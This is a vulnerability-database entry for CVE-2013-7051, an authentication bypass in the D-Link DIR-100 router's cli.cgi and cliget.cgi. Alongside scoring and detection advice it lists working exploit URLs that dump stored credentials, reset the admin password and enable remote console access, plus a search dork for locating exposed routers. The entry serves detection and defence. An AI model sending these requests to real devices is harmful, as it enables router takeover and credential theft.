CVE-2013-7051

published 2020-02-04

CVE-2013-7051: D-Link DIR-100 4.03B07: cli.cgi security bypass due to failure to check authentication parameters

Priority P2 66 high 8.8 CVSS 3.1

AV N AC L PR N UI R S U C H I H A H

EXPLOIT

D-Link DIR-100 4.03B07: cli.cgi security bypass due to failure to check authentication parameters

Affected

1 ranges

Vendor	Product	Version range	Fixed in
dlink	dir-100_firmware	—	—

Detection & IOCs extracted from sources · hover to see the quote

path /cli.cgi↗

path /cliget.cgi↗

url http://192.168.0.1/cliget.cgi?cmd=$sys_user1↗

url http://192.168.0.1/cliget.cgi?cmd=easysetup%20summary↗

url http://192.168.0.1/cli.cgi?cmd=help↗

url http://192.168.0.1/cli.cgi?cmd=$sys_user1=user=admin&pass=c%;$sys_passHash=4%25;commit↗

url http://192.168.0.1/cli.cgi?cmd=$sys_remote_enable=1%25;$sys_remote_ip=0.0.0.0%25;$sys_remote_port=80%25;commit↗

path /login.htm↗

command cmd=$sys_user1↗

command cmd=$poe_user↗

command cmd=$poe_pass↗

command cmd=$pptp_user↗

command cmd=$pptp_pass↗

command cmd=$ddns1↗

command cmd=$log_mail_user↗

command cmd=$log_mail_pwd↗

• → Monitor HTTP GET requests to /cliget.cgi from unauthenticated sources — this endpoint exposes credentials without any authentication requirement. ↗
• → Alert on HTTP GET requests to /cli.cgi that do not originate from an established authenticated session; the CGI does not validate cookies or HTTP auth parameters, only source IP. ↗
• → Detect use of Google dork pattern targeting exposed DIR-100 admin interfaces: search for 'D-Link Systems' with inurl:bsc_internet.htm D1. ↗
• → Flag HTTP requests to /cliget.cgi containing cmd parameters referencing sensitive variables: $sys_user1, $poe_user, $poe_pass, $pptp_user, $pptp_pass, $ddns1, $log_mail_user, $log_mail_pwd. ↗
• → Alert on /cli.cgi requests containing commit chained with $sys_remote_enable=1 — this enables remote console access on the device. ↗

• · The authentication bypass for /cli.cgi is IP-address based — an attacker must share the same IP as an authenticated session (e.g., behind NAT or via CSRF), not just any remote IP. ↗
• · The severity is significantly elevated when remote administration is enabled on the device's internet-facing port. ↗

CVSS provenance

nvd v3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

nvd v2.0 6.8 MEDIUM AV:N/AC:M/Au:N/C:P/I:P/A:P

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-287